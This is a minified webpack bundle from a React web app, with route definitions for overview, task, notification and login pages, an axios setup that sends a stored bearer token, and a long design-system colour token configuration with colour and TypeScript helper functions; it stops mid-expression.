wv=function(){return(0,oc.jsxs)(Re,{i18n:c,linkComponent:yv,theme:{colorScheme:"dark"},children:[(0,oc.jsxs)(kc,{children:[(0,oc.jsx)(Ec,{path:"/v4/overview",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(km,{}),Location:"/overview"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/task",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(pv,{}),Location:"/task"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/notification",element:ac()?(0,oc.jsx)(sc,{actualPageMarkup:(0,oc.jsx)(mv,{}),Location:"/notification"}):(0,oc.jsx)(wc,{to:"/v4/login"}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/login",element:(0,oc.jsx)(gv,{}),exact:!0}),(0,oc.jsx)(Ec,{path:"/v4/",element:(0,oc.jsx)(gv,{}),exact:!0})]}),(0,oc.jsx)(Ru,{position:"bottom-center",autoClose:5e3,hideProgressBar:!1,newestOnTop:!1,closeOnClick:!0,rtl:!1,pauseOnFocusLoss:!0,draggable:!0,pauseOnHover:!0,theme:"dark"})]})},xv=function(e){e&&e instanceof Function&&n.e(787).then(n.bind(n,787)).then((function(t){var n=t.getCLS,r=t.getFID,a=t.getFCP,o=t.getLCP,i=t.getTTFB;n(e),r(e),a(e),o(e),i(e)}))};iu().defaults.baseURL=window.location.protocol+"//"+window.location.hostname+":"+window.location.port,iu().defaults.headers.post["Content-Type"]="application/json";var Ev=localStorage.getItem(tc);null!==Ev&&(iu().defaults.headers.common.Authorization="Bearer ".concat(Ev)),a.render((0,oc.jsx)(r.StrictMode,{children:(0,oc.jsx)(Gc,{children:(0,oc.jsx)(wv,{})})}),document.getElementById("root")),xv()},4246:function(e,t,n){"use strict";var r=n(9713).default,a=n(3038).default,o=n(319).default;Object.defineProperty(t,"__esModule",{value:!0}),t.colorFactory=void 0;var i=n(6143),l=n(8107),s=n(6100);t.colorFactory=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:s.config;return Object.assign.apply(Object,[{}].concat(o(Object.entries(e).map((function(e){var o=a(e,2),s=o[0],u=o[1];if("string"!==typeof u)return null;var c=l.hexToHsluv(u),d=n[s]||[];return Object.assign({},d.reduce((function(e,n){var o=n.name,s=i.__rest(n,["name"])[t],u=s.hue,d=void 0===u?c[0]:u,f=s.saturation,p=void 0===f?c[1]:f,h=s.lightness,m=void 0===h?c[2]:h,v=s.alpha,g=void 0===v?1:v,b=function(e,t){return"number"===typeof e?e:e(t)},y=l.hsluvToRgb([b(d,c[0]),b(p,c[1]),b(m,c[2])]).map((function(e){return Math.round(255*e)})),w=a(y,3),x=w[0],E=w[1],S=w[2];return Object.assign(Object.assign({},e),r({},o,"rgba(".concat(x,", ").concat(E,", ").concat(S,", ").concat(g,")")))}),{}))})))))}},6100:function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.config=void 0;var r=n(574);t.config={surface:[{name:"background",description:"For use as a background color, in components such as Page and Frame backgrounds.",light:{lightness:97},dark:{lightness:3.3},meta:{figmaName:"Background/Default"}},{name:"backgroundHovered",description:"For use when an action or navigation is used on a background.",light:{lightness:95.5},dark:{lightness:3.3},meta:{figmaName:"Background/Hovered"}},{name:"backgroundPressed",description:"For use when an action or navigation is used on a background.",light:{lightness:94},dark:{lightness:3.3},meta:{figmaName:"Background/Pressed"}},{name:"backgroundSelected",description:"For use in the selected item in navigation",light:{lightness:94},dark:{lightness:3.3},meta:{figmaName:"Background/Selected"}},{name:"surface",description:"For use as a background color, in components such as Card, Modal, and Popover.",light:{lightness:100},dark:{lightness:12.7},meta:{figmaName:"Surface/Default"}},{name:"surfaceNeutral",description:"For use as a background color in neutral badges.",light:{lightness:91},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Default"}},{name:"surfaceNeutralHovered",description:"For use as a hovered background color in neutral badges.",light:{lightness:88},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Hovered"}},{name:"surfaceNeutralPressed",description:"For use as a pressed background color in neutral badges.",light:{lightness:82},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Pressed"}},{name:"surfaceNeutralDisabled",description:"For use as a disabled background color in neutral badges.",light:{lightness:95.5},dark:{lightness:21},meta:{figmaName:"Surface Neutral/Disabled"}},{name:"surfaceNeutralSubdued",description:"For use as a background color in neutral banners.",light:{lightness:97},dark:{lightness:30},meta:{figmaName:"Surface Neutral/Subdued"}},{name:"surfaceSubdued",description:"For use as a subdued background color, in components such as Card, Modal, and Popover.",light:{lightness:98.5},dark:{lightness:10},meta:{figmaName:"Surface/Subdued"}},{name:"surfaceDisabled",description:"For use as a surface color on disabled interactive elements such as option list items and action list items when in a disabled state.",light:{lightness:98.5},dark:{lightness:10},meta:{figmaName:"Surface/Disabled"}},{name:"surfaceHovered",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a hovered state.",light:{lightness:97},dark:{lightness:20},meta:{figmaName:"Surface/Hovered"}},{name:"surfacePressed",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a pressed state.",light:{lightness:95.5},dark:{lightness:27},meta:{figmaName:"Surface/Pressed"}},{name:"surfaceDepressed",description:"For use as a surface color on interactive elements such as resource list items and action list items when in a depressed state.",light:{lightness:94},dark:{lightness:35},meta:{figmaName:"Surface/Depressed"}},{name:"surfaceSearchField",description:"For use as a background color, in components on surface elements such as SearchField",light:{lightness:95.5},dark:{lightness:20},meta:{figmaName:"Surface/SearchField"}},{name:"backdrop",description:"For use as the background color of the backdrop component for navigation and modal. This color has an alpha of `0.5`.",light:{hue:0,saturation:0,lightness:0,alpha:.5},dark:{hue:0,saturation:0,lightness:0,alpha:.5},meta:{figmaName:"Backdrop"}},{name:"overlay",description:"For use as the background color of elements which lay on top of surfaces to obscure their contents. This color has an alpha of `0.5`.",light:{hue:0,saturation:0,lightness:100,alpha:.5},dark:{hue:0,saturation:0,lightness:12.7,alpha:.5},meta:{figmaName:"Overlay"}},{name:"shadowFromDimLight",description:"For use in building shadows for modals. This color has an alpha of `0.02`.",light:{lightness:0,alpha:.2},dark:{lightness:100,alpha:.2},meta:{figmaName:"Shadow/From dim light"}},{name:"shadowFromAmbientLight",description:"For use in building shadows for popovers, and cards. This color has an alpha of `0.05`.",light:{hue:180,saturation:5,lightness:8,alpha:.05},dark:{hue:180,saturation:5,lightness:8,alpha:.05},meta:{figmaName:"Shadow/From ambient light"}},{name:"shadowFromDirectLight",description:"For use in building shadows for popovers and cards. This color has an alpha of `0.15`.",light:{hue:0,saturation:0,lightness:0,alpha:.15},dark:{hue:0,saturation:0,lightness:100,alpha:.15},meta:{figmaName:"Shadow/From direct light"}},{name:"hintFromDirectLight",description:"For use in building shadows scrollables.",light:{hue:0,saturation:0,lightness:0,alpha:.15},dark:{hue:0,saturation:0,lightness:75,alpha:.2},meta:{figmaName:"Hint/From direct light"}}],onSurface:[{name:"border",description:"For use as the default border on elements.",light:{lightness:60},dark:{lightness:35},meta:{figmaName:"Border/Default"}},{name:"borderNeutralSubdued",description:"For use as the border on banners.",light:{lightness:77},dark:{lightness:56},meta:{figmaName:"Border Neutral/Subdued"}},{name:"borderHovered",description:"Used for borders on hovered interactive elements",light:{lightness:65},dark:{lightness:35},meta:{figmaName:"Border/Hovered"}},{name:"borderDisabled",description:"Used for disabled borders on interactive elements",light:{lightness:85},dark:{lightness:45},meta:{figmaName:"Border/Disabled"}},{name:"borderSubdued",description:"For use as a subdued border on elements.",light:{saturation:r.saturationAdjustmentFn(-1),lightness:81.9},dark:{lightness:56},meta:{figmaName:"Border/Subdued"}},{name:"borderDepressed",description:"For use as a border on depressed elements.",light:{hue:r.hueRotationFn(-45),saturation:r.saturationAdjustmentFn(-4),lightness:37.7},dark:{hue:r.hueRotationFn(-45),saturation:r.saturationAdjustmentFn(-4),lightness:60},meta:{figmaName:"Border/Depressed"}},{name:"borderShadow",description:"For use as an additional bottom border on elements.",light:{lightness:73},dark:{lightness:40},meta:{figmaName:"BorderShadow"}},{name:"borderShadowSubdued",description:"For use as an additional, subdued bottom border on elements.",light:{lightness:77.1},dark:{lightness:56},meta:{figmaName:"BorderShadow/Subdued"}},{name:"divider",description:"For use as a divider between elements.",light:{saturation:r.saturationAdjustmentFn(-1),lightness:90.1},dark:{saturation:r.saturationAdjustmentFn(-1),lightness:30},meta:{figmaName:"Divider"}},{name:"icon",description:"For use as the fill color of icons.",light:{lightness:40.1},dark:{lightness:70.1},meta:{figmaName:"Icon/Default"}},{name:"iconHovered",description:"For use as the fill color of hovered icons.",light:{lightness:10},dark:{lightness:90},meta:{figmaName:"Icon/Hovered"}},{name:"iconPressed",description:"For use as the fill color of pressed icons.",light:{lightness:30},dark:{lightness:70},meta:{figmaName:"Icon/Pressed"}},{name:"iconDisabled",description:"For use as the fill color of disabled icons.",light:{lightness:76.9},dark:{lightness:36.8},meta:{figmaName:"Icon/Disabled"}},{name:"iconSubdued",description:"For use as the fill color of subdued icons.",light:{lightness:59.8},dark:{lightness:52.1},meta:{figmaName:"Icon/Subdued"}},{name:"text",description:"For use as a text color.",light:{lightness:13.1},dark:{lightness:90.8},meta:{figmaName:"Text/Default"}},{name:"textDisabled",description:"For use as a disabled text color and as a placeholder text color.",light:{lightness:60},dark:{lightness:48.2},meta:{figmaName:"Text/Disabled"}},{name:"textSubdued",description:"For use as a subdued text color.",light:{lightness:47.4},dark:{lightness:65.1},meta:{figmaName:"Text/Subdued"}}],interactive:[{name:"interactive",description:"Used for links, plain buttons, and as the fill color for selected checkboxes and radio buttons.",light:{lightness:47},dark:{lightness:65,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Default"}},{name:"interactiveDisabled",description:"Used for disabled links and plain buttons.",light:{lightness:78,saturation:17},dark:{lightness:42},meta:{figmaName:"Interactive/Disabled"}},{name:"interactiveHovered",description:"Used for hovered links and plain buttons.",light:{lightness:35},dark:{lightness:70,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Hovered"}},{name:"interactivePressed",description:"Used for pressed links and plain buttons.",light:{lightness:21},dark:{lightness:75,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Interactive/Pressed"}},{name:"iconInteractive",description:"For use as an interactive icon fill color",light:{lightness:47},dark:{lightness:65,saturation:r.saturationAdjustmentFn(11.2),hue:r.hueRotationFn(-7.1)},meta:{figmaName:"Icon/Interactive"}},{name:"focused",description:"For use in the focus ring on interactive elements.",light:{lightness:60,saturation:r.saturationAdjustmentFn(11.2)},dark:{lightness:42},meta:{figmaName:"Focused/Default"}},{name:"surfaceSelected",description:"For use as a surface color in selected interactive elements, in components such as action list and resource list.",light:{lightness:97,hue:r.hueRotationFn(-12)},dark:{lightness:4},meta:{figmaName:"Surface Selected/Default"}},{name:"surfaceSelectedHovered",description:"For use as a surface color in selected interactive elements that are hovered, in components such as action list and resource list.",light:{lightness:96,hue:r.hueRotationFn(-12)},dark:{lightness:11},meta:{figmaName:"Surface Selected/Hovered"}},{name:"surfaceSelectedPressed",description:"For use as a surface color in selected interactive elements that are pressed, in components such as action list and resource list.",light:{lightness:94,hue:r.hueRotationFn(-10)},dark:{lightness:18},meta:{figmaName:"Surface Selected/Pressed"}},{name:"iconOnInteractive",description:"For use as a fill color for icons on interactive elements.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Icon On/Interactive"}},{name:"textOnInteractive",description:"For use as a text color on interactive elements.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Interactive"}}],secondary:[{name:"actionSecondary",description:"Used for secondary buttons and tertiary buttons, as well as in form elements as a background color and pontentially other secondary surfaces.",light:{lightness:100},dark:{lightness:34},meta:{figmaName:"Action Secondary/Default"}},{name:"actionSecondaryDisabled",description:"Used as a disabled state for secondary buttons",light:{lightness:100},dark:{lightness:13},meta:{figmaName:"Action Secondary/Disabled"}},{name:"actionSecondaryHovered",description:"Used as a hovered state for secondary buttons",light:{lightness:97},dark:{lightness:37},meta:{figmaName:"Action Secondary/Hovered"}},{name:"actionSecondaryPressed",description:"Used as a pressed state for secondary buttons",light:{lightness:95.5},dark:{lightness:42},meta:{figmaName:"Action Secondary/Pressed"}},{name:"actionSecondaryDepressed",description:"Used as a depressed state for secondary buttons",light:{hue:r.hueRotationFn(4),lightness:47.4},dark:{hue:r.hueRotationFn(4),lightness:53},meta:{figmaName:"Action Secondary/Depressed"}}],primary:[{name:"actionPrimary",description:"Used as the background color for primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:47.3},dark:{lightness:47.3},meta:{figmaName:"Action Primary/Default"}},{name:"actionPrimaryDisabled",description:"Used as the background color for disabled primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:95,saturation:0},dark:{lightness:32},meta:{figmaName:"Action Primary/Disabled"}},{name:"actionPrimaryHovered",description:"Used as the background color for hovered primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:41},dark:{lightness:55},meta:{figmaName:"Action Primary/Hovered"}},{name:"actionPrimaryPressed",description:"Used as the background color for pressed primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:35},dark:{lightness:60},meta:{figmaName:"Action Primary/Pressed"}},{name:"actionPrimaryDepressed",description:"Used as the background color for pressed primary actions, and as the fill color for icons and the text color in navigation and tabs to communicate interaction states.",light:{lightness:22},dark:{lightness:65},meta:{figmaName:"Action Primary/Depressed"}},{name:"iconOnPrimary",description:"For use as a fill color for icons on primary actions. Not for use in icons on navigation and tabs.",light:{lightness:100},dark:{lightness:98},meta:{figmaName:"Icon On/Primary"}},{name:"textOnPrimary",description:"For use as a text color on primary actions. Not for use in text on navigation and tabs.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Primary"}},{name:"textPrimary",description:"For use as primary text color on background. For use in text in components such as Navigation.",light:{lightness:45.7},dark:{lightness:52},meta:{figmaName:"Text Primary/Default"}},{name:"textPrimaryHovered",description:"For use as primary hovered text color on background. For use in text in components such as Navigation.",light:{lightness:40},dark:{lightness:58},meta:{figmaName:"Text Primary/hover"}},{name:"textPrimaryPressed",description:"For use as primary pressed text color on background. For use in text in components such as Navigation.",light:{lightness:34},dark:{lightness:64},meta:{figmaName:"Text Primary/Pressed"}},{name:"surfacePrimarySelected",description:"Used as a surface color to indicate selected interactive states in navigation and tabs.",light:{lightness:97,saturation:20},dark:{lightness:5,saturation:30},meta:{figmaName:"Surface Primary/Selected"}},{name:"surfacePrimarySelectedHovered",description:"Used as a surface color to indicate selected interactive states that are hovered in navigation and tabs.",light:{lightness:81,saturation:22},dark:{lightness:19,saturation:22},meta:{figmaName:"Surface Primary/Selected Hovered"}},{name:"surfacePrimarySelectedPressed",description:"Used as a surface color to indicate selected interactive states that are pressed in navigation and tabs.",light:{lightness:74,saturation:22},dark:{lightness:26,saturation:22},meta:{figmaName:"Surface Primary/Selected Pressed"}}],critical:[{name:"borderCritical",description:"For use as a border on critical components such as an outline on interactive elements in an error state.",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Critical/Default"}},{name:"borderCriticalSubdued",description:"For use as a border on critical components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-50)},dark:{lightness:50},meta:{figmaName:"Border Critical/Subdued"}},{name:"borderCriticalDisabled",description:"For use as a disabled border on critical components such as banners, and as an outline on interactive elements in an error state.",light:{lightness:77,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:28},meta:{figmaName:"Border Critical/Disabled"}},{name:"iconCritical",description:"For use as an icon fill color on top of critical elements.",light:{lightness:47.3},dark:{lightness:48},meta:{figmaName:"Icon/Critical"}},{name:"surfaceCritical",description:"For use as a surface color on critical elements including badges.",light:{lightness:88},dark:{lightness:12},meta:{figmaName:"Surface Critical/Default"}},{name:"surfaceCriticalSubdued",description:"For use as a subdued surface color on critical elements including banners.",light:{lightness:97},dark:{lightness:12},meta:{figmaName:"Surface Critical/Subdued"}},{name:"surfaceCriticalSubduedHovered",description:"For use as a surface color on critical interactive elements including action list items in a hovered state.",light:{lightness:96},dark:{lightness:15,saturation:60},meta:{figmaName:"Surface Critical/Subdued Hovered",figmaDescription:"Used on action lists"}},{name:"surfaceCriticalSubduedPressed",description:"For use as a surface color on critical interactive elements including action list items in a pressed state.",light:{lightness:94},dark:{lightness:22},meta:{figmaName:"Surface Critical/Subdued Pressed"}},{name:"surfaceCriticalSubduedDepressed",description:"For use as a surface color on critical interactive elements including action list items in a depressed state.",light:{lightness:82},dark:{lightness:29},meta:{figmaName:"Surface Critical/Subdued Depressed"}},{name:"textCritical",description:"For use as a text color in inert critical elements such as exception list. Not for use as a text color on banners and badges.",light:{lightness:47.3},dark:{lightness:65,saturation:70},meta:{figmaName:"Text/Critical"}},{name:"actionCritical",description:"For use as the background color for destructive buttons, and as the background color for error toast messages.",light:{lightness:47.5},dark:{lightness:45},meta:{figmaName:"Action Critical/Default"}},{name:"actionCriticalDisabled",description:"For use as the background color for disabled destructive buttons, and as the background color for error toast messages.",light:{lightness:95,saturation:0},dark:{lightness:41},meta:{figmaName:"Action Critical/Disabled"}},{name:"actionCriticalHovered",description:"For use as the background color for hovered destructive buttons, and as the background color for error toast messages.",light:{lightness:41,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:50},meta:{figmaName:"Action Critical/Hovered"}},{name:"actionCriticalPressed",description:"For use as the background color for pressed destructive buttons, and as the background color for error toast messages.",light:{lightness:35,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:55},meta:{figmaName:"Action Critical/Pressed"}},{name:"actionCriticalDepressed",description:"For use as the background color for depressed destructive buttons, and as the background color for error toast messages.",light:{lightness:22,saturation:r.saturationAdjustmentFn(2.7)},dark:{lightness:60},meta:{figmaName:"Action Critical/Depressed"}},{name:"iconOnCritical",description:"For use as a fill color for icons on critical actions.",light:{lightness:100},dark:{lightness:98},meta:{figmaName:"Icon On/Critical"}},{name:"textOnCritical",description:"For use as a text color on critical actions.",light:{lightness:100},dark:{lightness:100},meta:{figmaName:"Text On/Critical"}},{name:"interactiveCritical",description:"For use as the text color for destructive interactive elements: links, plain buttons, error state of selected checkboxes and radio buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:47.5},dark:{lightness:65},meta:{figmaName:"Interactive/Critical"}},{name:"interactiveCriticalDisabled",description:"For use as a text color in disabled destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:72},dark:{lightness:78},meta:{figmaName:"Interactive/Critical Disabled"}},{name:"interactiveCriticalHovered",description:"For use as a text color in hovered destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:45},dark:{lightness:70},meta:{figmaName:"Interactive/Critical Hovered"}},{name:"interactiveCriticalPressed",description:"For use as a text color in pressed destructive plain buttons, as well as a text color on destructive action list items. Not for use on critical banners and badges.",light:{lightness:21},dark:{lightness:75},meta:{figmaName:"Interactive/Critical Pressed"}}],warning:[{name:"borderWarning",description:"For use as a border on warning components such as...",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Warning/Default"}},{name:"borderWarningSubdued",description:"For use as a border on warning components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-40)},dark:{lightness:50},meta:{figmaName:"Border Warning/Subdued"}},{name:"iconWarning",description:"For use as an icon fill color on top of warning elements.",light:{lightness:60},dark:{lightness:34},meta:{figmaName:"Icon/Warning"}},{name:"surfaceWarning",description:"For use as a surface color on warning elements including badges.",light:{lightness:88},dark:{lightness:50},meta:{figmaName:"Surface Warning/Default",figmaDescription:"Use for badges"}},{name:"surfaceWarningSubdued",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:97},dark:{lightness:26,saturation:71},meta:{figmaName:"Surface Warning/Subdued",figmaDescription:"Used for banners"}},{name:"surfaceWarningSubduedHovered",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:96},dark:{lightness:28,saturation:71},meta:{figmaName:"Surface Warning/Subdued Hovered",figmaDescription:"Used for banners"}},{name:"surfaceWarningSubduedPressed",description:"For use as a subdued surface color on warning elements including banners.",light:{lightness:94},dark:{lightness:30,saturation:71},meta:{figmaName:"Surface Warning/Subdued Pressed",figmaDescription:"Used for banners"}},{name:"textWarning",description:"For use as a text color in inert critical elements such as exception list. Not for use as a text color on banners and badges.",light:{lightness:47.4},dark:{lightness:64.9},meta:{figmaName:"Text/Warning"}}],highlight:[{name:"borderHighlight",description:"For use as a border on informational components such as...",light:{lightness:60},dark:{lightness:60},meta:{figmaName:"Border Highlight/Default"}},{name:"borderHighlightSubdued",description:"For use as a border on informational components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-40)},dark:{lightness:60},meta:{figmaName:"Border Highlight/Subdued"}},{name:"iconHighlight",description:"For use as an icon fill color on top of informational elements.",light:{lightness:60,saturation:r.saturationAdjustmentFn(19.6)},dark:{lightness:42},meta:{figmaName:"Icon/Highlight"}},{name:"surfaceHighlight",description:"For use as a surface color on information elements including badges.",light:{lightness:88,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:40,saturation:100},meta:{figmaName:"Surface Highlight/Default"}},{name:"surfaceHighlightSubdued",description:"For use as a surface color on information elements including banners.",light:{lightness:97,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:20},meta:{figmaName:"Surface Highlight/Subdued"}},{name:"surfaceHighlightSubduedHovered",description:"For use as a surface color on information elements including banners.",light:{lightness:96,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:22},meta:{figmaName:"Surface Highlight/Subdued Hovered"}},{name:"surfaceHighlightSubduedPressed",description:"For use as a surface color on information elements including banners.",light:{lightness:94,saturation:r.saturationAdjustmentFn(-20.4)},dark:{lightness:25},meta:{figmaName:"Surface Highlight/Subdued Pressed"}},{name:"textHighlight",description:"For use as a text color in inert informational elements. Not for use as a text color on banners and badges.",light:{lightness:48},dark:{lightness:90},meta:{figmaName:"Text/Highlight"}}],success:[{name:"borderSuccess",description:"For use as a border on success components such as text inputs.",light:{lightness:60},dark:{lightness:50},meta:{figmaName:"Border Success/Default"}},{name:"borderSuccessSubdued",description:"For use as a border on success components such as banners.",light:{lightness:77,saturation:r.saturationAdjustmentFn(-60)},dark:{lightness:50},meta:{figmaName:"Border Success/Subdued"}},{name:"iconSuccess",description:"For use as an icon fill color on top of success elements.",light:{lightness:47},dark:{lightness:35},meta:{figmaName:"Icon/Success"}},{name:"surfaceSuccess",description:"For use as a surface color on success elements including badges.",light:{lightness:88,saturation:r.saturationAdjustmentFn(-60)},dark:{lightness:35},meta:{figmaName:"Surface Success/Default"}},{name:"surfaceSuccessSubdued",description:"For use as a surface color on information elements including banners.",light:{lightness:97,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:20,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued"}},{name:"surfaceSuccessSubduedHovered",description:"For use as a surface color on information elements including banners.",light:{lightness:96,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:22,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued Hovered"}},{name:"surfaceSuccessSubduedPressed",description:"For use as a surface color on information elements including banners.",light:{lightness:94,saturation:r.saturationAdjustmentFn(-80)},dark:{lightness:25,saturation:r.saturationAdjustmentFn(-40)},meta:{figmaName:"Surface Success/Subdued Pressed"}},{name:"textSuccess",description:"For use as a text color in inert success elements. Not for use as a text color on banners and badges.",light:{lightness:47.3},dark:{lightness:65,saturation:r.saturationAdjustmentFn(-30)},meta:{figmaName:"Text/Success"}}],decorative:[{name:"decorativeOneIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(-4.5),lightness:40},dark:{hue:r.hueRotationFn(-4.5),lightness:80},meta:{figmaName:"Decorative/Icon/One"}},{name:"decorativeOneSurface",description:"For use as a decorative surface color.",light:{lightness:84},dark:{hue:r.hueRotationFn(-2.5),saturation:r.saturationAdjustmentFn(-2),lightness:46},meta:{figmaName:"Decorative/Surface/One"}},{name:"decorativeOneText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(-4.5),lightness:18},dark:{lightness:100},meta:{figmaName:"Decorative/Text/One"}},{name:"decorativeTwoIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:40},dark:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:80},meta:{figmaName:"Decorative/Icon/Two"}},{name:"decorativeTwoSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(-26.5),lightness:84},dark:{hue:r.hueRotationFn(-32.5),saturation:r.saturationAdjustmentFn(-4),lightness:52},meta:{figmaName:"Decorative/Surface/Two"}},{name:"decorativeTwoText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(305.5),saturation:r.saturationAdjustmentFn(-20),lightness:14},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Two"}},{name:"decorativeThreeIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(87.5),lightness:40},dark:{hue:r.hueRotationFn(87.5),lightness:80},meta:{figmaName:"Decorative/Icon/Three"}},{name:"decorativeThreeSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(87.5),saturation:r.saturationAdjustmentFn(-46),lightness:85},dark:{hue:r.hueRotationFn(97.5),lightness:46},meta:{figmaName:"Decorative/Surface/Three"}},{name:"decorativeThreeText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(87.5),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Three"}},{name:"decorativeFourIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(133.5),lightness:40},dark:{hue:r.hueRotationFn(133.5),lightness:80},meta:{figmaName:"Decorative/Icon/Four"}},{name:"decorativeFourSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(123.5),saturation:r.saturationAdjustmentFn(-44),lightness:84},dark:{hue:r.hueRotationFn(131.5),saturation:r.saturationAdjustmentFn(-5),lightness:47},meta:{figmaName:"Decorative/Surface/Four"}},{name:"decorativeFourText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(133.5),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Four"}},{name:"decorativeFiveIcon",description:"For use as a decorative icon color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:40},dark:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:80},meta:{figmaName:"Decorative/Icon/Five"}},{name:"decorativeFiveSurface",description:"For use as a decorative surface color.",light:{hue:r.hueRotationFn(-53.4),saturation:r.saturationAdjustmentFn(-5.4),lightness:85.6},dark:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-23),lightness:45},meta:{figmaName:"Decorative/Surface/Five"}},{name:"decorativeFiveText",description:"For use as a decorative text color that is applied on a decorative surface.",light:{hue:r.hueRotationFn(306.5),saturation:r.saturationAdjustmentFn(-22),lightness:16},dark:{lightness:100},meta:{figmaName:"Decorative/Text/Five"}}]}},9589:function(e,t,n){"use strict";t.t8=t.wP=void 0;var r=n(4246);Object.defineProperty(t,"wP",{enumerable:!0,get:function(){return r.colorFactory}});var a=n(574);Object.defineProperty(t,"t8",{enumerable:!0,get:function(){return a.mergeConfigs}})},574:function(e,t,n){"use strict";var r=n(9713).default,a=n(319).default,o=n(3038).default;Object.defineProperty(t,"__esModule",{value:!0}),t.mergeConfigs=t.saturationAdjustmentFn=t.hueRotationFn=void 0,t.hueRotationFn=function(e){return function(t){return(360+t+e)%360}},t.saturationAdjustmentFn=function(e){return function(t){return Math.min(Math.max(t+e,0),100)}},t.mergeConfigs=function(e,t){return Object.entries(e).reduce((function(e,n){var i=o(n,2),l=i[0],s=i[1],u=t[l],c=a(s);return null!=u&&u.forEach((function(e){var t=e.name,n=c.findIndex((function(e){return e.name===t}));-1===n?c.push(e):c.splice(n,1,e)})),Object.assign(Object.assign({},e),r({},l,c))}),{})}},6143:function(e,t,n){"use strict";n.r(t),n.d(t,{__extends:function(){return a},__assign:function(){return o},__rest:function(){return i},__decorate:function(){return l},__param:function(){return s},__metadata:function(){return u},__awaiter:function(){return c},__generator:function(){return d},__createBinding:function(){return f},__exportStar:function(){return p},__values:function(){return h},__read:function(){return m},__spread:function(){return v},__spreadArrays:function(){return g},__await:function(){return b},__asyncGenerator:function(){return y},__asyncDelegator:function(){return w},__asyncValues:function(){return x},__makeTemplateObject:function(){return E},__importStar:function(){return S},__importDefault:function(){return k},__classPrivateFieldGet:function(){return _},__classPrivateFieldSet:function(){return C}});var r=function(e,t){return r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},r(e,t)};function a(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var o=function(){return o=Object.assign||function(e){for(var t,n=1,r=arguments.length;n=0;l--)(a=e[l])&&(i=(o<3?a(i):o>3?a(t,n,i):a(t,n))||i);return o>3&&i&&Object.defineProperty(t,n,i),i}function s(e,t){return function(n,r){t(n,r,e)}}function u(e,t){if("object"===typeof 